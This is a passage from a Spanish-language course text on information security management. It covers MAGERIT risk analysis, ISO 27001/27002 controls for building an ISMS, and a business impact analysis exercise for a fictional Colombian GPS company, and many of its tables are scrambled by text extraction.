Confidencialidad: El activo debe ser accedido nicamente por el recurso autorizado, a esta
caracterizacin tambin se le llama autenticacin.
Disponibilidad: El activo debe estar siempre disponible para que los recursos lo puedan acceder o
modificar.
3.4.3
Amenazas
Las amenazas son los eventos que pueden desencadenar un incidente en la organizacin, produciendo daos
materiales o prdidas inmateriales en sus activos.
La consecuencia de la amenaza, si se materializa, es un incidente que modifica el estado de seguridad de los
activos amenazados. Es decir, hace pasar el activo de un estado inicial anterior conocido a otro posterior,
que puede ser no deseable.
Los activos estn expuestos a muchas clases de amenazas, las cuales pueden explotar sus vulnerabilidades.
Los controles de seguridad de la informacin que se implementen se seleccionarn teniendo en cuenta las
vulnerabilidades, no las amenazas.
3.4.4
Vulnerabilidades
INTRNSICA del activo respecto al tipo de amenaza: que slo depende del propio activo y de la
amenaza.
EFECTIVA del activo: que tiene en cuenta los controles aplicados en cada momento a dicho activo y
se considera como un factor que estima la eficacia global de dichos controles.
3.4.5
Probabilidad
Corresponde a la probabilidad existente de que una amenaza afecte a un determinado activo aprovechando
la vulnerabilidad que ste presente en el activo.
3.4.6
Impacto
3.4.7
Riesgo
34
3.5
En el siguiente grfico se aprecian las relaciones e interacciones entre cada uno de los elementos, o
entidades, implicados en la seguridad informtica.
3.6
Analisis GAP
El siguiente diagrama muestra el flujo del proceso de anlisis y gestin de riesgos respecto de la relacin con
el anlisis GAP. El anlisis GAP generalmente se hace antes de empezar el anlisis de riesgos pero no es
mandatorio. Se puede hacer en paralelo y no necesariamente es obligatorio en el anlisis de riesgos.
El anlisis GAP busca y debe encontrar cuales son los controles que faltan en el sistema de seguridad actual
para llegar a la norma de gestin de estudio, por ejemplo se puede hacer un analisi GAP para la norma ISO
27001:2005 y luego de poner los controles sugeridos por el anlisis de riesgos volver a hacer el GAP para
evaluar cuanto hace falta llegar a la norma que se esta estudiando.
Pero el anlisis GAP no es exclusivo de alguna norma, pues se puede aplicar un GAP a cualquier norma antes
de implementarse, en concreto el anlisis GAP nos dice cuanto nos hace falta para cumplir una norma.
35
Los controles de la norma ISO 27002:2005 son una referencia para el tratamiento de riesgos, pero existen
otras como COBIT o una combinacin de estas.
4.0
Existen muchas metodologas para hacer anlisis de riesgos y es de vital importancia volver a recordar que
no importa la metologia que se utilice, lo importante es que se debe sustentar el metodo cientfico con el que
se llega a los resultados.
Una metodologa exitosa muy probada en Europa es la creada por el Consejo Superior de Informtica de
Espaa que trata sobre el Anlisis y Gestin de Riesgos de los sistemas de Informacin denominado
MAGERIT pero en Colombia se ha definido por parte de Icontec (Entidad responsable de los estndares
internacionales) la norma ISO NTC 5254 derivada de la norma Australiana AS NZS 4360.
La primera versin de magerit naci en 1997, actualmente existe la versin II de magerit que se utilizo con
mayor aceptacin en el 2007, el sitio web para descargar una mejor descripcin de eta metodoglogia es
http://www.csi.map.es.
MAGERIT: Indica Metodologa de Anlisis y Gestin de Riesgos de los Sistemas de Informacin y Tecnologia,
el aspecto positivo de esta metodologa es que el resultado se expresa en valores econmicos.
Las decisiones que deban tomarse y que tengan que ser validadas por la direccin estarn fundamentadas y
sern fcilmente defendibles ante la alta gerencia.
36
4.1
Objetivos de Magerit
4.2
Explicacin:
Muy alto
2.100.000
Alto
Medio
300.000
72.000
Bajo
4.000
Extremadamente frecuente
MF
Muy Frecuente
1
0,071
Frecuente
0,016
FN
Frecuencia Normal
0,005
PF
Poco Frecuente
0,003
Clasificacin numerica de la
vulnerabilidad que puede
presentar el activo.
Alta
Media
90
50
Baja
10
Cdigo
Nombre
Valor
90
Imagen Organizacional
2.100.000
51
Bases de datos
72.000
22
Desarrollo
300.000
37
Servidor WEB
68
4.000
Amenazas globales
Cdigo
Amenaza
Vulnerabilidad
Impacto
Activos
Riesgo Intrnseco
A1
Incendio oficinas
PF
0,003
90
2.476.000
6.685
A2
Danio de Hardware
EF
50
2.476.000
1.238.000
A4
MF
FN
0,071
10
2.476.000
17.580
A3
0,005
10
2.476.000
1.238
9.904.000
1.263.503
TOTAL
Figura 1-21: Tabulacin de amenazas globales.
Aca se hace el anlisis de amenazas y la formula utilizada para calcular el Riesgo Intrinseco sera: Valor de los activos *
Vulnerabilidad * (Impacto/100) = Riesgo Intrinseco
Dism. Vulnerabilidad
Dism. Impacto
Amenaza
Control
A1
S12
90
60
A2
S14
60
90
A4
S02
90
60
S04
60
60
S06
60
60
S08
A
A
90
90
90
60
A3
S10
38
Cdigo
90
51
22
68
Vulnerabilidad 0,003
Impacto (%) 90
Disminucin
de
Vulnerabilidad
(%)
90
Disminucin
Valor del Descripcin
de
Impacto
Activo
del Activo
(%)
60
2.100.000 Imagen Organizacional
227
72.000
Bases de datos
8
300.000
Desarrollo
32
4.000
Servidor web
0
RIESGO EFECTIVO POR AMENAZA
267
A4
A3
Acceso
a
Oficinas no
autorizado
No
disponibilida
d
de
Personal
A2
Incendio
Oficinas
Amenazas
A1
Danio
en
Hardware
ACTIVOS
1
50
0,071
10
0,005
10
60
99,84
90
90
42.000
1.440
6.000
80,0000
49.520
99,36
0,1527
0,0052
0,0218
0,0003
0,1800
60
42
1
6
0
50
RIESGO
EFECTIVO
POR
ACTIVO
42.269
1.449
6.038
81
49.837
TOT
Valor de Activos
Riesgo
Intrnseco
Riesgo Efectivo
2.476.000
1.263.503
49.837
2.476.000
1.263.503
49.837
39
4.3
Conclusiones
4.4
Conclusiones
4.5
Evaluacin
4.5.1.
Defina vulnerabilidad?
4.5.2.
Defina Riesgo?
4.5.3.
Defina amenazas?
4.5.4.
4.5.5.
4.5.6.
Qu es riesgo intrinseco?
4.5.7.
4.5.8.
4.5.9.
40
4.5
Bibliografa
41
5.
Problemtica
A continuacin se listan las problematicas frecuentemente encontradas en las organizaciones:
No hay suficientes controles concretos para disminuir los riesgos y amenazas contra la seguridad de
la informacin y los que existen son componentes bsicos de la infraestructura de computacional.
No hay anlisis de impacto del negocio (BIA) ni planes de contingencia que garanticen la
continuidad de las operaciones en caso de desastre.
Dado que no existe el anlisis de riesgos, no hay forma sistemtica de gestionarlos para
disminuirlos hasta un nivel razonable.
No hay preparacin proactiva para cumplir con los mnimos requerimientos legales vigentes o en
proceso de los entes de control en cuanto a la seguridad de la informacin.
42
El motivo de no incluir a la totalidad de la organizacin dentro del SGSI (al menos en las primeras etapas) es
que son procesos costosos que implican grandes cambios en la organizacin, sobre todo a nivel de la gestin
y de los hbitos del personal que se ve afectado. Por esta razn, cuanto menor sea este alcance, ms fcil
resultar la implantacin.
Se propone entonces elaborar el SGSI para un determinado proceso, el mas critico, el que genere mas
ingresos o afecte la misin principal de la organizacin. Una vez implantado y defindo como se puede
verificar y asegurar su correcto funcionamiento, se plantea ampliar su alcance e ir aadiendo nuevos
procesos dentro del SGSI.
De esta manera el costo y el esfuerzo son menores. Esto es un factor crtico de xito.
Se recomienda iniciar por el proceso que le produce los mayores ingresos a la organizacin, por ejemplo
para las compaas de seguros se recomienda iniciar con el proceso de produccin que es el que genera la
facturacin de la organizacin, luego de aprender con un nico proceso se debe aplicar la metodologa y la
experiencia adquirida al resto de procesos como reaseguros, recaudos, siniestros, etc.
La siguiente figura muestra los 12 grandes pasos que se deben dar para implementar un sistema de gestin
de seguridad de la informacin:
0
Analisi
s de
riesgo
9 Incidentes
3 Activos
6
Comun
icacion
es
Operac
iones
43
5.1
La poltica de seguridad tiene por objetivo aportar las directrices de la seguridad de la informacin de
acuerdo con los requerimientos especficos de la organizacin y con la legislacin vigente. La poltica de
seguridad es fundamental para la implantacin del resto de los controles propios de seguridad, ya que debe
ser el punto a partir del cual se desarrollen.
La poltica de seguridad de la informacin es el primer documento que las entidades de control buscan
cuando se est auditando un sistema de gestin, es relevante que todo el personal tenga acceso a este
documento y sobre todo que lo entiendan.
La poltica de seguridad establece quin est autorizado a acceder a qu tipo de informacin, y seala los
estndares y reglas que va a adoptar la organizacin y las medidas de seguridad que sern necesarias.
Entregable: Poltica de seguridad pblicada y firmada por la junta directiva.
5.2
Este control implica la creacin de un comit que supervisar los diferentes aspectos de la seguridad de la
informacin, es decir, ser el grupo que tendr el apoyo directo de la direccin de la organizacin y podr
decidir si el estado de la seguridad es el correcto o si, por el contrario, requiere algn tipo de cambio.
De la misma forma, tendr que garantizar que estos cambios estn fundamentados y que conseguirn una
mejora en la seguridad de la informacin. Este grupo de seguridad debera estar formado por las siguientes
personas:
Direccin
de la
Organizacin
rea
Tcnica
rea de
Informtica
rea
Contable
Comit de SGSI
44
rea
Financiera
rea de
Recursos
Humanos
El comit de gestin de la seguridad de la informacin debera estar formado, por lo menos, por un
miembro/representante de cada una de las reas de la organizacin en la que se pretenda implantar el
SGSI. Ver figura 1-26.
El comit de coordinacin de seguridad, al ser el que decide cmo se ha de implantar la poltica de seguridad
en la organizacin, tiene la mxima responsabilidad sobre dicha seguridad. Adems, ha de determinar si
conviene realizar cambios en este SGSI basados en indicadores de gestion.
Entregable: Un documento con la conformacin del comit, sus miembros y funciones.
5.3
Gestin de activos:
Este dominio trata de proteger el almacenamiento y el tratamiento de los activos que la organizacin
considera importantes para la realizacin de sus actividades. En esta etapa se establecen responsabilidades
sobre los activos y se clasifica la informacin basados en su confidencialidad.
Entregable: Un documento con la lista de activos y su clasificacin basados en las variables confidencialidad,
integridad y disponibilidad.
5.4
5.5
En este dominio se hace referencia a todos los aspectos relativos a la seguridad fsica de la organizacin,
especialmente los destinados a reducir los riesgos de que se produzcan accesos no autorizados o
Interrupciones en las actividades de la organizacin. Se tratan desde los aspectos relativos a la seguridad
fsica de los edificios hasta la seguridad fsica de los equipos de la organizacin.
El entregable debe contener auditoras y mejoras a los controles actuales para mejorarlos.
5.6
Se tratan todos los aspectos relativos a la seguridad de las operaciones que se realizan en una organizacin.
No se hace un enfoque desde el punto de vista del modo ms seguro de trabajar, sino que trata de hacer
seguro aquello que cada organizacin ha decidido que es su manera propia de realizar las actividades.
Del mismo modo, este dominio contempla los posibles envos que se realizan desde la organizacin, ya sea
de software o de informacin, para poder disponer de los mecanismos adecuados para asegurar que estas
comunicaciones no provocan un incidente de seguridad.
Entregable: Documento con sugerencias y soluciones especificas ademas de la segregacin de funciones.
5.7
Control de acceso:
En este punto se trata de evitar que personal no autorizado pueda lograr el acceso a la informacin que se
est protegiendo, puede considerarse que este dominio se refiere a los accesos lgicos a la informacin.
Entregable: Documento de polticas con segregacion de roles y gestin de contraseas.
45
5.8
Se trata de ayudar a las organizaciones en todos los procesos de desarrollo de nuevas aplicaciones o del
mantenimiento de las vigentes, desde el punto de vista de los factores que cabe considerar para que estos
procesos sean seguros.
Es crtico en este paso el hacer gestin de vulnerabilidades tcnicas a las aplicaciones.
En este sentido se deberan realizar pruebas tcnicas como:
Anlisis de vulnerabilidades de
Anlisis de vulnerabilidades de
Pruebas de penetracin a cada
Revisin de configuraciones de
la red
aplicaciones
servidor de datos crticos
dispositivos de red
Entregable: Documento con el resultado de las pruebas tcnicas mostrando las vulnerabilidades y como
corregirlas.
5.9
Los controles generados por los anteriores dominios no tratarn de evitar los incidentes de seguridad sino
que, en el caso de que sucedan, los podrn gestionar de manera que el impacto que puedan provocar sea el
mnimo posible.
Este paso genera un entregable de tipo plantilla para que el area de atencin de incidentes pueda manejarlos
en forma optima.
Entregable: Documento de tipo plantilla para que el rea de atencin de incidentes pueda manejarlos en
forma automatizada y con nfasis en los parmetros de seguridad: confidencialidad, integridad y
disponibilidad.
5.10
El objetivo de la seguridad de la informacin es evitar que las actividades propias de la organizacin se vean
interrumpidas por ninguna circunstancia. Por ese motivo, los planes de continuidad de negocio son
imprescindibles, independientemente del tamao de la organizacin: adems de las inversiones que sta
haya realizado en medidas de seguridad, tambin necesita tener establecido un plan de continuidad.
Estos planes de continuidad de negocio no slo tienen por objetivo tratar de evitar las interrupciones en la
actividad de negocio. Tambin intentan minimizar el tiempo de inactividad en el caso de que finalmente se
produzcan dichas interrupciones.
Los planes de continuidad de negocio equivalen a "Qu hacer en caso de que todo lo dems falle". Estos
riesgos son los catastrficos y generalmente el anlisis de riesgos no los profundiza.
Entregable: BIA o anlisis de impacto del negocio para los procesos ms crticos del negocio con su
respectiva propuesta de plan de continuidad.
5.11
Este ltimo dominio trata de garantizar el cumplimiento de la legislacin vigente y de las regulaciones que
afecten a la organizacin. Dentro de este dominio tambin se trata la necesidad que existe en una
organizacin de que se revisen las diferentes medidas de seguridad de la informacin que se han ido
desarrollando a lo largo de esta normativa.
Se debe revisar la proteccin de derechos de autor, se deben salvaguardar los registros de la organizacin
por los aos que indique la ley, se debe velar por la proteccin de los datos personales y de la intimidad de
las personas.
Finalmente se deben hacer auditorias tcnicas para evaluar si se est cumpliendo la norma, es decir se estn
haciendo pruebas tcnicas por ejemplo y con ms razn cuando se desea certificar el sistema de gestin
como propone este documento.
46
Entregable: Documento con matriz de regulaciones contra cumplimiento de la organizacin para el segmento
de mercado.
:
:
:
:
Control a evaluar
Dominios (12)
Objetivo (39)
Cumplimiento Auditoria
Tecnica
Anlisis
de
riesgos (01)
Anlisis
riesgos (01)
de
010101
Poltica
de
seguridad de la
informacin
(02)
Poltica
de
seguridad (02)
Documento de la poltica
(002)
020101
Revisin
(003)
poltica
020102
Comit de gestin de la
seguridad (004)
030101
Coordinacin
seguridad (005)
la
030102
Asignacin
de
responsabilidades (006)
030103
Proceso de autorizacin de
recursos
para
el
tratamiento
de
la
informacin (007)
030104
Acuerdos
confidencialidad (008)
de
030105
030106
Organizacin
de la seguridad
de
la
informacin
(03)
Estructura interna
de seguridad (03)
de
47
la
de
%
Antes
%
Despues
Partes
(04)
Gestin
de
activos (04)
externas
Responsabilidad
sobre los activos
(05)
Clasificacin de la
informacin (06)
Seguridad
Vinculada
al
personal (05)
Antes
de
ser
empleado (07)
Durante
su
contratacin (08)
Finalizacin
empleo (09)
del
Contacto
con
grupos
especializados
en
seguridad
de
la
informacin (010)
030107
Revisin independiente de
la
seguridad
de
la
informacin (011)
030108
Identificacin
de
los
riesgos asociados (012)
030201
Requisitos de seguridad
para terceros (013)
030202
Requisitos de seguridad
para outsourcing (014)
030203
Inventario
(015)
activos
040101
040102
Uso
aceptable
activos (017)
los
040103
clasificacin
040201
Marcado y tratado de la
informacin (019)
040202
Roles y responsabilidades
(020)
050101
Seleccin
(021)
personal
050102
Trminos y condiciones de
empleo (022)
050103
050201
050202
Finalizacin
de
las
responsabilidades (025)
050301
Guas de
(018)
48
de
la
de
de
Seguridad
fsica
y
del
entorno (06)
reas
(10)
seguras
050302
Eliminacin de derechos de
acceso (027)
050303
Permetro de
fsica (028)
060101
seguridad
Controles
fsicos
entrada (029)
de
060102
oficinas,
recursos
060103
contra
ambientales
060104
060105
060106
Instalacin y proteccin de
equipos (034)
060201
060202
Seguridad
(036)
cableado
060203
Mantenimiento de equipos
(037)
060204
060205
Seguridad
en
la
reutilizacin de equipos o
eliminacin
de
equipos
(039)
060206
Eliminacin
(040)
060207
Seguridad
despachos
(030)
Proteccin
amenazas
(031)
Seguridad
del
equipamiento
(11)
Gestin
de
comunicaciones
Procedimientos
operacionales y
en
y
del
de
Procedimientos de
operaciones
49
equipos
070101
y operaciones
(07)
Responsabilidades (12)
Documentados (041)
Gestin de la
entrega por
terceras
Partes (13)
Planificacin
de
los sistemas (14)
070102
Segregacin
(043)
070103
tareas
Separacin de entornos de
desarrollo, pruebas y
produccin (044)
070104
070201
Monitorizacin y revisin
de los servicios de las
terceras partes (046)
070202
070203
Gestin
(048)
de
Aceptacin
(049)
Proteccin contra
el software y
cdigo mvil (15)
de
la
capacidad
070301
de
sistemas
070302
Controles contra el
software
Malicioso (050)
070401
070402
Copias
de
seguridad (16)
070501
Gestin
de
seguridad de
red (17)
070601
070602
Gestin
de
extrables (055)
soportes
070701
Eliminacin
(056)
soportes
070702
la
la
Gestin
de
soportes
de
informacin (18)
de
Procedimientos de
50
070703
utilizacin
de la informacin (057)
Intercambio de la
informacin (19)
Servicios
de
comercio
electrnico (20)
Monitorizacin
(21)
Control
de
acceso (08)
Seguridad en la
informacin de
los sistemas (058)
070704
Procedimientos y polticas
de intercambio
de informacin (059)
070801
Acuerdos
(060)
070802
de
intercambio
070803
070804
070901
Transacciones
(064)
lnea
070902
auditora
071001
071002
071003
Registros de administrador
y Operador (068)
071004
071005
Sincronizacin
(070)
071006
Registros
(065)
de
Requisitos de
negocio para el
control de acceso
(22)
Poltica
de
acceso (071)
Gestin de acceso
de usuarios (23)
Registros
(072)
Gestin
(073)
en
de
control
de
de
51
relojes
de
080101
usuarios
080201
privilegios
080202
Responsabilidad
de los usuarios
(24)
Control de acceso
en red (25)
Control de acceso
a los sistemas
Operativos (26)
Gestin de contraseas de
usuario (074)
080203
080204
Usos de las
(076)
contraseas
080301
Equipos
informticos
desatendidos (077)
080302
080401
Autenticacin de usuarios
para conexiones remotas
(079)
080402
Autenticacin de usuarios
para conexiones remotas
Autenticacin de los nodos
de la red (080)
080403
Proteccin de puertos de
diagnstico Remoto (081)
080404
Segregacin
(082)
080405
de
redes
Controles de conexiones a
las Redes (083)
080406
Control de
direccionamiento de la red
(084)
080407
Procedimiento de
conexiones de terminales
(085)
080501
Identificacin y
autenticacin
de usuarios (086)
080502
Sistemas de gestin
usuarios (087)
de
080503
080504
52
Control de acceso
a las aplicaciones
(27)
Informtica mvil
y teletrabajo (28)
Adquisicin,
mantenimiento
y desarrollo de
sistemas
de
informacin
(09)
Desconexin
automtica
de terminales (089)
080505
Limitacin
tiempo
conexin (090)
de
080506
Restriccin de acceso a la
informacin (091)
080601
Aislamiento de
sensibles (092)
080602
sistemas
Informtica
mvil
comunicaciones (093)
080701
Teletrabajo (094)
080702
Requisitos de
seguridad en los
sistemas
de
informacin (29)
Anlisis y especificaciones
de los requisitos de
eguridad (095)
090101
Seguridad en las
aplicaciones de
Sistemas (30)
090201
090202
Integridad
(098)
mensajes
090203
090204
090301
090302
Controles
criptogrficos
(31)
Seguridad en los
ficheros/archivos
de sistema (32)
de
Control de software
explotacin (102)
en
090401
090402
090403
53
Seguridad en los
procesos de
seguridad
y
soporte (33)
Gestin
de
incidentes
de
seguridad de la
informacin
(10)
Comunicaciones
de los incidentes
de seguridad y
debilidades (34)
Gestin de los
incidentes de
seguridad y
mejoras de
seguridad (35)
Gestin de la
continuidad del
negocio (11)
Conformidad
con
la
legislacin
vigente (12)
Gestin
de
la
continuidad (36)
Cumplimiento de
los requisitos
Legales (37)
Procedimiento de control
de Cambios (105)
090501
090502
Desarrollo externalizado
de aplicaciones (107)
090503
Gestin de las
vulnerabilidades Tcnicas
(108)
090504
Comunicacin de
Incidentes de Seguridad
(109)
100101
Reportes de
vulnerabilidades de
Seguridad (110)
100102
Responsabilidades
procedimientos (111)
100201
Aprendiendo de los
incidentes de seguridad
(112)
100202
Recopilacin de evidencias
(113)
100203
Proceso de gestin de la
continuidad de negocio
(114)
110101
110102
Redaccin e implantacin
de planes de continuidad
de negocio (116)
110103
Prueba, mantenimiento y
reevaluacin de los planes
de continuidad (117)
110104
Identificacin de la
legislacin Aplicable (118)
120101
Derechos de la propiedad
intelectual (119)
120102
54
Salvaguardas de los
Registros de la
organizacin (120)
120103
120104
120105
Reglamentacin de los
controles de cifrado (123)
120106
Cumplimiento con
las polticas
de seguridad,
estndares, y
cumplimiento
tcnico (38)
120201
Comprobacin de la
conformidad Tcnica (125)
120202
Consideraciones
sobre las
auditoras de
sistemas (39)
Controles de auditoras de
sistemas (126)
120301
Proteccin de las
Herramientas de sistemas
(127)
120302
55
6.2.
El Cronograma
Debe existir un cronograma de actividades que permita saber si se estn cumpliendo los tiempos propuestos
para disear el SGSI, no debe olvidarse que la capacitacin en cada uno de los dominios de control es crtica
y se debe hacer en paralelo al trabajo de campo. Ver figura 1-28.
Control a evaluar
Dominios (12)
Objetivo (39)
Cumplimiento Auditoria
Tecnica
Anlisis
de
riesgos (01)
Anlisis
riesgos (01)
de
010101
Poltica
de
seguridad de la
informacin
(02)
Poltica
de
seguridad (02)
Documento de la poltica
(002)
020101
56
Fecha
de
inicio
Fecha
impleme
ntacin
7.0
7.1.
El BIA es el documento base de todo plan de continuidad del negocio, no hacer el BIA es como querer saber
dividir sin antes haber aprendido a sumar y restar. Si deseamos construir un puente o un edificio primero
debemos construir sus bases, por ejemplo imaginemos un edificio de 20 pisos sin una base antisismica, en el
primer temblor de tierra seguro que se fragmentaria o peor aun se desmoronara.
El BIA nos indica que procesos o reas de mi negocio son las ms crticas, el BIA nos dice que aplicaciones
son las que debemos llevar a un centro de cmputo remoto para procesar informacin el da que ocurra una
catstrofe o desastre.
El BIA nos indica da a da como se impacta el patrimonio de los socios cuando el riesgo catastrfico se
concreta.
Un Plan de continuidad del negocio debe basarse en el BIA, si una entidad de control quisiera saber si el BCP
es frgil, o fue elaborado a ltima hora solo por cumplir una norma, entonces debe mirar cuan solido es el
BIA pues de este se parti para llegar al plan de continuidad del negocio.
Generalmente el informe BIA est compuesto por dos bloques que a la vez conforman otras partes, los
grandes bloques son uno gerencial y otro tactico, el bloque tctico tiene como objetivo dejar constancia en
detalle de los resultados del informe gerencial. Este detalle es clave si este informe gerencial fuera
cuestionado.
Terminologa utilizada: Esta seccin no debe escribirse en ms de una pgina y debe contener los
trminos bsicos y elementales del BIA como son: Riesgo, anlisis de riesgos, Alta disponibilidad,
RTO, RPO, y todos los trminos especficos utilizados en este informe que le permita a cualquier
persona poder leer y entender este documento.
57
Revisiones del documento: Contiene la fecha en que se reviso el BIA as como una descripcin
abreviada del cambio en el documento, la versin, quien lo genero o audito. Por ejemplo:
Versin
Revisado por
Fecha
Objetivos: Define la intencin del BIA, el peor escenario, define los RTO por ejemplo:
Nivel RTO
1
2
Intervalo
Recuperacin
0 24 Horas
24 48 Horas
de
Alcance: Describe los subprocesos, procesos o reas en cuestin, y se indica en que zona geogrfica
residen los procesos bajo estudio.
Enfoque Utilizado: Describe si se utilizaron cuestionarios, como se distribuyeron hacia los dueos de
los procesos, Cuenta el numero de procesos encuestados, en qu fecha se hizo el BIA, quien
condujo el grupo de encuestadores.
Respuestas de los encuestados y resultados: Resume como respondi la gente, pero no incluye,
nunca, los formularios o encuestas diligenciadas por los dueos de los procesos encuestados.
Resultados de cada proceso o de las Unidades de negocios: En esta parte se describe cada proceso
o unidad de negocio, informa quien realizo las encuetas, y adems muestra
la siguiente
Proceso de negocio y RTO (Recovery Time Objective): Se tabula cada subproceso del proceso o
unidad de negocio con secuencia del subproceso, descripcin, y RTO (mximo tiempo permitido
antes de entrar en colapso)
Recursos requeridos por cada proceso de negocio: Se tabula cada subproceso del proceso o unidad
de negocio con secuencia del subproceso, aplicaciones necesarias, Equipo, registros vitales o
reportes, personas requeridas.
Impacto financiero identificado por cada proceso: Se tabula cada subproceso del proceso o unidad
de negocio con secuencia del subproceso, calificacin ninguno, bajo, medio, alto, valor del impacto
financiero del proceso.
Impacto operacional (imagen ante el cliente) Identificado por el proceso o la unidad de negocio: Se
tabula cada subproceso del proceso o unidad de negocio con secuencia del subproceso, calificacin
de ninguno, bajo, medio y alto
58
Impacto legal identificado por cada proceso: Se tabula cada subproceso del proceso o unidad de
negocio con secuencia del subproceso, calificacin ninguno, bajo, medio, alto, valor del
costo/comisiones.
Resumen y conclusiones del proceso evaluado: Se debe enunciar cual es el subproceso ms crtico
en orden de impacto y sobre todo cules son los reportes ms vulnerables.
Impacto combinado legal/regulacin: El impacto Legal y de regulacin tiene que ver con las
obligaciones para con las agencias de vigilancia, organizaciones y clientes con los cuales las
unidades de negocio deben cumplir obligaciones contractuales. Incluye los deberes para con las
entidades de vigilancia gubernamental, contratos y niveles de servicio pactados con clientes,
vendedores y agencias.
Durante el proceso de entrevistas del BIA a cada unidad de negocio o proceso se le debe encuestar
sobre que rango pertenece segn la siguiente lista:
Conclusiones Finales: Lista una serie de actividades y sus recursos respectivos necesarios para
disminuir el impacto
59
7.2.
Problemtica a resolver:
La empresa ficticia GPS de Colombia se acaba de ganar un millonario contrato con las fuerzas
militares de colombia y desean contratar una compaa consultora en seguridad informtica que les
disee e implemente un BIA para construir un plan de continuidad de negocios.
Usted como proveedor de consultoria en seguridad de la informacin (globalteksecurity) ha sido
seleccionado para resolver este problema y debe entregar un documento en formato Word con los
formularios utilizados para las entrevistas asi como el informe del BIA para iniciar el plan de
continuidad del negocio de GPS de Colombia que mitigue el riesgo catastrfico.
Todos los valores deben ser expresados en dlares americanos
GPS de Colombia le administrar a las fuerzas militares la ubicacin de cada una de las naves
medienta un GPS instalado en cada nave, y mediante un portal web le permitir a las fuerzas ubicar
el recurso logistico
Objetivo de la prtica:
Pasos:
Terminologa utilizada en este documento
BIA - Business Impact Analysis: Es el proceso de identificar las funciones criticas del negocio para
determinar el impacto cuando estas funciones no se pueden ejecutar para la continuidad del negocio debido
a un desastre
Procesos del negocio - Business Processes: Consiste de las tareas y actividades diarias que deben ser
completadas para producir un servicio o producto final. Un proceso de negocio es parte de una funcin
corporativa global.
Unidad del negocio - Business Unit: Es una unidad organizacional dentro de la empresa. (Para el
propsito de este documento es lo mismo que un departamento, por ejemplo el departamento de
contabilidad, rea tcnica, etc)
Impacto - Impact: Cualquier resultado que causa retardos, interrupciones o cese de actividades en las
operaciones del negocio. El impacto puede estar asociado a prdidas financieras, perdidas operacionales,
mala atencin al cliente, perdidas por problemas legales o de regulacin por parte de entidades de vigilancia
Redundancia - Redundancia: Es tener recursos adicionales disponibles en paralelo para el caso en que los
recursos crticos primarios fallen.
Analisis de riesgos - Risk Assessment: Es el proceso de identificar y evaluar los peligros y riesgos que
estn presentes en los activos analizando las vulnerabilidades que amenazan la continuidad del negocio.
RTO:
Recovery Time Objective: Es el mximo tiempo permitido que un proceso puede estar cado como
consecuencia de un evento catastrfico.
RPO:
Recovery Point Objective: Primeros datos que permiten volver a ofrecer el servicio. Identificar si
para la recuperacin del proceso que se haya visto afectado se necesita disponer de la informacin que se
tena justo antes de que sucediera el incidente, o si, por el contrario, se puede utilizar la informacin anterior
(hasta qu Momento: una hora, un da, dos...)
60
Capitulo,
seccion, Pagina
Revisado por
Fecha
Revision Ejecutiva
Objetivos
La intencin del Business Impact Analysis (BIA) fue identificar las unidades organizacionales, las operaciones
y los procesos que son cruciales para la supervivencia del negocio. El BIA ha identificado los tiempos en que
las operaciones esenciales deben ser restauradas luego que un evento perjudicial o catastrfico haya
sucedido.
Este mtodo ha definido el impacto en el negocio al no ejecutarse las operaciones crticas basadas en el peor
escenario. Adems ha identificado los recursos requeridos para que se cumplan los niveles de servicios
mnimos pactados.
El peor escenario asume que la infraestructura fsica que soporta cada unidad del negocio ha sido destruida y
todos los registros, equipos, y dems recursos no son accesibles durante mximo 30 das.
Los objetivos del BIA fueron:
Intervalo
Recuperacion
0 24 Horas
24 48 Horas
48 - 72 Horas
3 6 Das
1 Semana
2 Semanas
3 Semanas
1 Mes
+1 Mes
de
61
Alcance
El alcance para la organizacion GPS de Colombia
tcnicas:
Contabilidad
Marketing
Operaciones
Soporte Tcnico y desarrollo
Seguridad Fsica
Recursos Humanos
Nos enfocamos en las unidades de negocios localizadas en Bogota. Todas las unidades de negocios,
procesos, tecnologa, personas, etc residentes en este sitio fsico, fueron examinados con el permiso previo y
por escrito de la organizacin GPS de Colombia.
Enfoque Utilizado
Para iniciar el proceso de BIA en la organizacion GPS de Colombia se elaboro un cuestionario electrnico
que fue distribuido a todas las unidades de negocios. Una vez se recibi el cuestionario se entrevisto
personalmente a cada responsable de cada unidad de negocio.
El propsito del cuestionario y de la entrevista fue identificar procesos crticos de negocios, estimar el tiempo
de recuperacin, estimar los recursos y los requerimientos para determinar si se podran aplicar
procedimientos manuales. Se identifico un estimado para el impacto financiero, el impacto operativo, el
impacto en los clientes y finalmente el impacto legal.
El grupo encargado del proyecto BIA encuesto a 5 unidades del negocio de la organizacion GPS de
Colombia durante el mes de febrero de 2008. Las entrevistas se condujeron por Armando Carvajal,
especialista en planes de contingencia de Globaltek Security.
Nomina e impuestos de
nomina
Pago a proveedores
62
RTO
1 Dia
3 Dias
forma manual.
Manejo de presupuestos
Instrucciones financieras
Adquisicion de inversions y
capitales
Registros contables
Facturacion
7 Dias
3 Dias
3 Dias
30 Dias
63
1 Dia
Applicacion /
Software de
escritorio
Equipamiento
4 Compaq PC
Fax
Telfono
Impresora de
cheques
2 Compaq PC
Fax
Telefono
Calculadora
Impresora de
cheques
1 Compaq PC
Impresora
2 Compaq PC
Papel de alta
calidad
Archivador de
documentos
financieros
Registros Vitales
/ Reportes
Personas
Requeridas1
Ordenes de pedidos
de vendedores
Unidad compartida
(E: Drive)
1 Persona
Ordenes de pagos
mensuales Unidad
compartida
(G: Drive)
1 Persona
Nomina e impuestos de
nomina
Aplicativo de
nomina
Excel
Microsoft Access
Pago a proveedores
Aplicativo de
cuentas por pagar
Microsoft Excel
Microsoft Outlook
Intranet / Internet
Manejo de
presupuestos
Instrucciones
financieras
Finance 101
Adquisicion de
inversiones y capitales
Microsoft Access
1 HP laptop
Registros contables
Corporate AP
1 HP Desktop
N/A
2 Personas
Facturacion
Aplicacion de
facturacion
1 HP Desktop
Ordenes de pedidos
de vendedores
1 Persona
Plantilla de
presupuestos
Registro de ordenes
financieras
2 Personas
N/A
1
El numero de personal de recuperacin por da representa el numero recurso interno que la unidad de negocio puede requerir para
soportar la operacin esencial cuando ocurra el desastre.
64
Proceso
negocio
Nomina e
impuestos de
nomina
Pago a
proveedores
Manejo de
presupuestos
Instrucciones
financieras
Adquisicin de
inversiones y
capitales
Registros
contables
Facturacin
de
65
% que se
puede hacer
manualmente
RPO
0%
0 Das
65%
1 Semana
100%
1 Mes
100%
1 Mes
100%
1 Mes
100%
1 Mes
65%
1 Semana
Ninguno
Bajo
Medio
Alto
Potencial
Financiero
de
Impacto
Nomina e impuestos de
nomina
Pago a proveedores
Manejo de presupuestos
N/A
N/A
N/A
